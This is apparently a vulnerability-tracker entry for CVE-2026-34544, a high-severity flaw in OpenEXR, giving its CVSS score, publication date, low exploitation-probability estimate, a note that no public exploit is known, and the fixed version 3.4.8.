CVE-2026-34544 is a high vulnerability (CVSS 8.4) in Academysoftwarefoundation Openexr, published April 1, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.25%, the 16th percentile. Fixed in openexr 3.4.8.

References

Show 55 moreShow less
This page doesn't list everything

Left out here: the rest of 3 source descriptions. The JSON record has them.

MoveEnter Open